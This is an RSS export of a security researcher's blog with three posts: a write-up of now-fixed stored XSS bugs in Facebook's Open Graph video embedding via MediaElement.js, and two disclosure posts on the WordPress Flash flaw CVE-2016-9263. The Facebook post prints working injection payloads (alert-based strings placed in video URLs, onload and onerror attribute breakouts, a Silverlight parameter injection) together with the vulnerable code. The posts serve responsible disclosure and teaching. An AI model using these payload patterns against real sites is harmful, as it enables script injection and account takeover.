Uncategorized – OpnSec Open mind Security and Crypto! Fri, 30 Jul 2021 20:07:09 +0000 en-US hourly 1 https://wordpress.org/?v=6.0.11 /wp-content/uploads/2017/08/cropped-opnsec-32x32.png Uncategorized – OpnSec 32 32 250189475 Stored XSS on Facebook /2018/03/stored-xss-on-facebook/?utm_source=rss&utm_medium=rss&utm_campaign=stored-xss-on-facebook /2018/03/stored-xss-on-facebook/#comments Sun, 18 Mar 2018 15:41:18 +0000 /?p=242 Read More]]>

tl;dr; Stored XSSes in Facebook wall by embedding an external video with Open Graph.

When a user clicks to play the video, the XSS executes on facebook.com

Introduction

I reported multiple stored XSS on Facebook wall in April 2017. These stored XSS vulnerabilities were also present in WordPress so I waited for WordPress to patch it before publishing this write-up. The vulnerabilities are now fixed on WordPress!

These XSS are a little bit complex because they require multiple steps, but each step by itself is pretty simple to understand.

 

The Open Graph protocol

When you add a URL in a Facebook post, Facebook will use the Open Graph protocol (FB doc) to display rich content.  Here is a summary about how Facebook uses OG to embed external content in a FB post:

 

  1. The attacker posts a URL on a FB post
  2. FB server fetches the URL (server side) and reads the OG meta tags to extract info about the content of the URL (for example the content is a video with a title, a cover image, a video encoding type and a video file URL)
  3. The victim views the FB post with the cover image and a play button
  4. When the victim clicks on the play button, the video loads using the video info extracted from the OG meta tags. This is when the XSS will be executed

 

This OG workflow is also used by many websites including Twitter and WordPress for example.
Step #2 is sensitive: server-side fetching of a user provided URL, which can often lead to SSRF.
Another potential vulnerability is Clickjacking if the hosting website uses X-Frame-Options: SAMEORIGIN on sensitive webpages and let the attacker inject arbitrary iframes on the same subdomain.

FB wasn’t vulnerable to either of these issues.

The interesting part is #4 when FB loads the video after the victim clicks the play button. First, FB will send a XHR request to get the video type and the video file URL, which are both provided by the attacker in the og:video:type (we’ll call it ogVideoType) and the og:video:secure_url (ogVideoUrl) tags of the URL posted by the attacker. Here is a sample of OG meta tags:

<!DOCTYPE html>

<html>

<head>

<meta property="og:video:type" content="video/flv">

<meta property="og:video:secure_url" content='https://example.com/video.flv'>

<meta property="og:video:width" content="718">

<meta property="og:video:height" content="404">

<meta property="og:image" content="https://example.com/cover.jpg">

(...)

</head>

<body>

(...)
</body>

</html>

If ogVideoType is “iframe” or “swf player” then FB loads an external iframe and doesn’t handle the playing of the video. Otherwise, FB was using MediaElement.js to handle the loading of the video directly on facebook.com. I already reported and disclosed vulnerabilities on the Flash component of ME.js on both Facebook and WordPress.

 

1. Stored XSS using FlashMediaElement.swf

MediaElements.js has multiple ways of playing a video depending on ogVideoType.

If ogVideoType is “video/flv” (flash video), Facebook loads the Flash file FlashMediaElement.swf on facebook.com  (using an <embed> tag) and passes the ogVideoUrl to FlashME.swf to play the video. FlashME.swf then sends logs information to facebook.com (using Flash-to-javascript) about events like “video played” or “video ended”. FlashME.swf handled correctly the Flash-to-javascript communication, in particular \ was properly escaped to \\ to avoid XSS.

However, the javascript code sent was :

setTimeout('log("[VIDEO_URL]")', 0)

In javascript setTimeout is similar to eval, it will transform a string into instructions, making it very dangerous

[VIDEO_URL] is controlled by the attacker, it’s the value of ogVideoUrl. If it contains for example

http://evil.com/video.flv?"[payload]
Flash will send the following instruction to javascript:

setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);

As you can see, the in video.flv?\”payload is properly escaped so the attacker cannot escape from the setTimeout function.

However, when javascript executes the setTimeout function, it will execute the following javascript instruction :

log("http://evil.com/video.flv?"[payload]")

And this time is not escaped any more and the attacker can inject XSS!

Now the question is whether Facebook escapes ogVideoUrl before passing it to FlashME.swf.

First, Facebook javascript sends a XHR request to Facebook server to get the value of ogVideoType and ogVideoUrl. The value of ogVideoUrl is correctly encoded but it can contain any special character like

https://evil.com?"'<\

Then, before being sent to Flash, ogVideoUrl was transformed like this :

function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('&quot;') + '">x</a>';
return tempDiv.firstChild.href;
}

flashDiv.innerHTML ='<embed src="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';

The result of absolutizeUrl(ogVideoUrl) is URL encoded before being sent to Flash but when Flash will receive the data it will automatically URL decode it once, so we can ignore the encodeURI instruction.

absolutizeUrl transforms relative URL to absolute URL with the current protocol and domain of the javascript context (and if an absolute URL is provided, it returns it almost unchanged). This seems “hacky” but it seems secure enough and simple because we let the browser do the hard work. But it’s not simple when it comes to special character encoding!

When initially analyzing this code, I was using Firefox, because it had great extensions like Hackbar, Tamper Data and… Firebug!

In Firefox, if you try 

absolutizeUrl('http://evil.com/video.flv#"payload')
it will return 
http://evil.com/video.flv#%22payload
so I was stuck because in Facebook the javascript instruction sent by Flash would be 
setTimeout("log(\"http://evil.com/video.flv?%22payload\")", 0);
which will lead to 
log("http://evil.com/video.flv?%22[payload]")
which is NOT an XSS.

 

And then I tried on Chrome and

absolutizeUrl('http://evil.com/video.flv#"payload')
returned 
http://evil.com/video.flv#"payload
and \o/ YEAH!!!!!

Now Flash sends

setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
to Facebook javascript and which will lead to 
log("http://evil.com/video.flv?"[payload]")

So if ogVideoUrl is set to 

http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+"
then Facebook will execute 
log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"") 
and will display a nice little alert box saying “facebook.com XSSed!” 🙂

The reason of this is that when a browser parses a URL, it will encode special characters differently depending on the browser:

  • Firefox will URLencode any occurence of in the url
  • Chrome, up to version 64, would URLencode EXCEPT in the hash part (= fragment) of the URL (note: in the latest version 65 of Chrome, this behaviour changed and now Chrome behaves like Firefox and will URLencode ” even in the hash part
  • IE and Edge will NOT URLencode in the hash part NOR the search part (= query) of the URL
  • Safari will NOT URLencode in the hash part

As you can see it’s not great to let the browser decide how to encode special characters in URLs in your javascript code!

I reported the vulnerability right away to Facebook and they replied the next day and told me they modified the Flash file so that it doesn’t use setTimeout any more,  the Flash would now send 

log("http://evil.com/video.flv?\"payload")
and as you can see is properly escaped to \” and there is no XSS any more.

 

2. Stored XSS without Flash

The previous XSS required Flash so I checked if I could find another payload without Flash.

If ogVideoType was “video/vimeo”, the following code would execute

ogVideoUrl absolutizeUrl(ogVideoUrl);

ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);

playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl + '?api=1"></iframe>';

As you can see absolutizeUrl(ogURL) is not urlencoded before being injected to playerDiv.innerHTML, so with ogVideoUrl set to

http://evil.com/#" onload="alert(document.domain)"
 playerDiv.innerHTML would be 
<iframe src="https://player.vimeo.com/video/#" onload="alert(document.domain)" ?api=1"></iframe> 

which is again an XSS on facebook.com!

 

I reported this on the same day the previous XSS was fixed and Facebook fixed it again in 1 day like this :

ogVideoUrl absolutizeUrl(ogVideoUrl);

ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);

playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl.split('"').join('&quot;') + '?api=1"></iframe>'

Here is a video of this XSS in action :

 

 

The next day, I found another vulnerable endpoint: when ogVideoType was something unknown, like “video/nothing”, Facebook would display an error message with a link to ogVideoUrl like this:

errorDiv.innerHTML = '<a href="' +absolutizeUrl(ogVideoUrl ) + '">'

So with the ogVideoUrl payload 

/#"><img/src="xxx"onerror="alert(document.domain)
 errorDiv.innerHTML would be 
<a href="/#"><img src="xxx" onerror="alert(document.domain)">

 

I reported it to Facebook and, funny enough, Neil from Facebook WhiteHat told me he was planning to check this code the next day!

 

3. Oh, and one more thing…

Another possible ogVideoType was “silverlight”. Silverlight is a browser plugin by Microsoft and is to Flash what VBscript was to javascript.

The silverlight file hosted on Facebook (silverlightmediaelement.xap) was loaded like this:

params = ["file=" + ogVideoUrl, "id=playerID"];

silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="' + params.join(',').split('"').join('&quot;') + '" /></object>';

silverlightmediaelement.xap would then send log information to Facebook javascript a little bit like the Flash file did, but this time it didn’t contain ogVideoUrl but only the player id, which is another parameter sent in initParams and defined by Facebook. Silverlight would call the javascript function [id]_init() where [id] is “playerID”.

In silverlight, parameters are not separated by & like in urls or in Flash but by ,

If ogVideoUrl contains a , then every thing after this comma will be considered as another parameter by silverlight, which means that using the payload 

/#,id=alert(document.domain)& 
then silverlight be loaded like this:

silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="file=/#,id=alert(document.domain)&,id=playerID" /></object>'; 

Silverlight will only take into account the first occurence of id and it will set its value to 

alert(document.domain)& 

Silverlight will then call the following javascript : 

alert(document.domain)&_init() 
which means XSS again!

 

I reported it the same day and Neal replied that they would remove all the MediaElement component and replace it with a new way of handling external videos!

 

What about WordPress ?

All this vulnerable code wasn’t developed by Facebook, they used an open source library MediaElementjs which was (and still is) a popular module to embed video in a webpage, especially because they had a Flash fallback for older browsers. In particular, WordPress uses this module by default when handling shortcodes. The vulnerabilities were also present in WordPress and allowed stored XSS in WordPress comments or in WordPress articles written by authors (in WordPress, the Author role isn’t allowed to execute javascript).

I reported the vulnerabilities to WordPress to which I already reported another vulnerability monthes before. They informed MediaElementjs team about this and told me they were working on a fix. On February 2018 they finally released the fix for all the XSS related to MediaElementjs.

 

Conclusion

I learned a lot and had a lot of fun finding these vulnerabilities. I hope you also enjoy it!

Here is some advices :

Open Graph (and alternatives like json-ld) is a great way to display rich external content on a website, but you should be careful about it (think SSRF, XSS and Clickjacking)

Don’t let the browser parse URL for you in your javascript code, each browser handles it his own way and a browser can change its behavior anytime (like Chrome 64 -> 65). Use white-list regex instead.

Complex, dynamic XSSes that use XHR, DOM mutations, and external content will NOT be detected by automatic tools (for now). So even the most secure, high profile website can be vulnerable. Code review and debugging are the way to go for these!

Don’t be afraid of large, minified, dynamic javascript source code. If you spot some potentially dangerous features on a website, you’re free to check how it is implemented!

Facebook WhiteHat is a great Bug Bounty program! Thanks Neal and all the team 🙂

Thanks for reading, and feel free to comment if something isn’t clear.

 

Happy hunting !

]]>
/2018/03/stored-xss-on-facebook/feed/ 2 242
FlashME! – WordPress vulnerability disclosure [CVE-2016-9263] /2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/?utm_source=rss&utm_medium=rss&utm_campaign=flashme-wordpress-vulnerability-disclosure-cve-2016-9263 /2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/#comments Thu, 19 Oct 2017 12:27:10 +0000 /?p=220 Read More]]> Last week, I disclosed the existence of an unpatched Flash vulnerability on WordPress (/2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/). Today, I disclose technical details about this vulnerability. However, contrary to what I announced before, I won’t provide a POC nor enough technical details to allow attackers to exploit it. Responsible disclosure of unpatched vulnerabilities is never easy, and I’m trying to do this right both ethically and legally.

If you want to know more about the type of vulnerability, the impact and how to patch it please refer to /2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/.

Technical details

WordPress uses an independent open-source tool to play videos in a webpage, MediaElement.js. ME.js provides a Flash fallback for browsers that don’t support the <video> tag or certain video codecs, using the flash file FlashMediaElement.swf. Vulnerabilities on this file have been reported in the past, like the awesome Flash based XSS found by cure53 https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c.

While investigating the source of this file in summer 2016, one particular instruction catched my attention

Security.allowDomain("www.[XYZ].com");

Note: I changed the real name of the domain to [XYZ].com

Security.allowDomain() can be described as a vulnerable function: using it will downplay the Same-Origin Policy which is the basis of website client-side security. You can read more about Flash security sandbox model here.

This code will allow a Flash file hosted on [XYZ].com to execute code on the FlashMediaElement.swf file, which is hosted on the WordPress site domain. [XYZ].com is a very well established company, so you could safely think that they would not use this privilege to execute malicious code on your website, the same way you would allow Google Analytics or Youtube to run scripts on your website. However, it is not that simple. With Security.allowDomain(“www.[XYZ].com”), you allow not only one specific file hosted on [XYZ].com to access your Flash security sandbox but any Flash file hosted on [XYZ].com.

Quick reminder about Cross-Site Scripting: XSS is the ability to execute arbitrary code (script, in this case Flash ActionScript3) in an external website. Not only a XSS allows you to access private info (like cookies) and private functions (like xhr requests) on the external website, but the arbitrary code will also be considered by the browser (or the Flash player) to be originating from the vulnerable website. This subtlety is what we will exploit here.

The thing is that [XYZ].com is vulnerable itself to XSS, or in this case Cross-Site Flashing. Which means that an attacker can execute arbitrary Flash code that will be considered by the Flash player as being originating from [XYZ].com. This forms a chain of vulnerabilities that will end up with any WordPress website being vulnerable to Cross-Site Flashing. Let’s make a drawing:

 

Facebook was vulnerable, too

A few months after reporting this issue, I was investigating various Flash files on facebook.com. One file contained the following instruction:

Security.allowDomain("www.[XYZ].com");

Facebook was using a file similar to flashmediaelement.swf to embed external videos on Facebook wall. The same vulnerability was present in this file and I was able to create various POC exploits using this vulnerability that would lead to Facebook OAuth bypass and even Facebook account takeover without user interaction.

I reported the issue to Facebook WhiteHat program and Facebook Security Team quickly fixed the issue and generously rewarded me.

Conclusion

This vulnerability is complex because it relies on multiple factors, technologies and companies. However, once an attacker is able to create an exploit, exploiting this vulnerability is easy because all of the requirements are usually present by default on a system. This vulnerability not only affects WordPress websites, but every websites hosted on the same subdomain as a WordPress website.

I hope WordPress will patch this issue soon and that my report will help raise awareness about Chained XSS vulnerabilities. Thanks for reading!

]]>
/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/feed/ 3 220
[CVE-2016-9263] XSF vulnerability in WordPress [UPDATED] /2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/?utm_source=rss&utm_medium=rss&utm_campaign=cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress /2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/#comments Thu, 12 Oct 2017 14:28:34 +0000 /?p=209 Read More]]>
Please patch this issue on your WordPress websites immediately and ask WordPress to release a patched version before I publicly release technical details about this on Oct 19th 2017

What is the vulnerability ?

There is an unpatched vulnerability in latest and older WordPress releases. The vulnerability is a cross-domain Flash injection (XSF), which impact is similar to a Reflected XSS (or Same-Origin policy bypass).
The vulnerable file is located at /wp-includes/js/mediaelement/flashmediaelement.swf.

Who is affected ?

Any up-to-date or older (for at least 2 years) version of WordPress is vulnerable by default. Every WordPress website is vulnerable to this as well as any other website hosted on the same subdomain as a WordPress website.

The only WordPress websites that are not affected are those where the vulnerable file, flashmediaelement.swf, is hosted on a sandboxed domain. This is the case for sites hosted on wordpress.com for example.

What is the impact ?

The impact is similar to an (authenticated) Reflected XSS, except you can’t manipulate the DOM and read some values like header responses, and the victim must have Flash active. The attacker can send a malicious link that would execute arbitrary Flash code on the WordPress security sandbox. When a victim opens the malicious link, the attacker can perform “xhr style” requests with Flash to any URL in the WordPress domain, using the victim’s cookies. Attacker can then read the response source code (body) and steal the victims private info including any CSRF token. He can use the CSRF token to perform CSRF actions on behalf of the user. In the case of Facebook for example, this led to Facebook account takeover after the victim clicked on the malicious link.

Because this is a Same-Origin policy bypass, the attacker can exploit this not only on the vulnerable WordPress site but also on any website located in the same subdomain (or same Origin) than the vulnerable WordPress site.

How to patch this ?

WordPress decided not to patch this issue for some (bad?) reasons. You should simply remove the vulnerable file at [WordPress_Home_URL]/wp-includes/js/mediaelement/flashmediaelement.swf (which is just a Flash fallback for embed videos not hosted on a streaming website).

Or you can redirect [WordPress_Home_URL]/wp-includes/js/mediaelement/flashmediaelement.swf to a sandboxed domain, for example to https://x0.wp.com/wp-includes/js/mediaelement/flashmediaelement.swf.

Either of these solutions will mitigate this issue.

What is the timeline of this vulnerability report ?

  • Aug 5th 2016: I reported this issue to Automattic, then WordPress private Bug Bounty program, more than a year ago. WordPress contacted the author of the vulnerable code, mediaelement.js (created by John Dyer @johndyer), which provided a patched file very quickly. WordPress decided not to release the patch.
  • Sep 15th 2016: I found that Facebook was using the same vulnerable code, so facebook.com was vulnerable to the same XSF vulnerability (similar to a reflected XSS on facebook.com). I reported it to Facebook which fixed it in 5 days.
  • Nov 11th 2016: I requested a CVE for this to MITRE and was assigned CVE-2016-9263
  • Sep 15th 2017: I informed WordPress Security Team that I was going to publicly disclose CVE-2016-9263
  • Oct 12th 2017: I publicly disclose the issue on my blog without any technical detail but with instructions how to patch.
  • Oct 19th 2017: I will publicly disclose technical details about this vulnerability, including how to exploit it [UPDATE]: Limited technical details are now available here

Why are you publicly disclosing this ?

I reported this issue to WordPress more than a year ago, with a working proof of concept, technical details and how to patch the issue. WordPress choose not to release the patch quickly provided by mediaelement.js team. On the other hand, Facebook patched the issue in 5 days. WordPress obviously has less resource than Facebook but this is not a valid excuse because it is the most used Website software in the world, and the patch has been ready for more than a year. They made a poor decision that endangers their users and many websites.

I already reported this vulnerability to large websites like Uber, Spotify, etc…  for many of which their main website was vulnerable because of this vulnerability in their WordPress site. Many of them patched it themselves. It is possible that this is now exploited as a consequence of the reports I sent to these organisations. I don’t accept that the public is not informed about this vulnerability.

Please patch this issue on your WordPress websites immediately and ask WordPress to release a patched version before I publicly release technical details about this on Oct 19th 2017.

How can I contact you ?

You can find me on twitter (@opnsec). You can also contact me at wordpress /at\ opnsec /dot\ com.

]]>
/2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/feed/ 3 209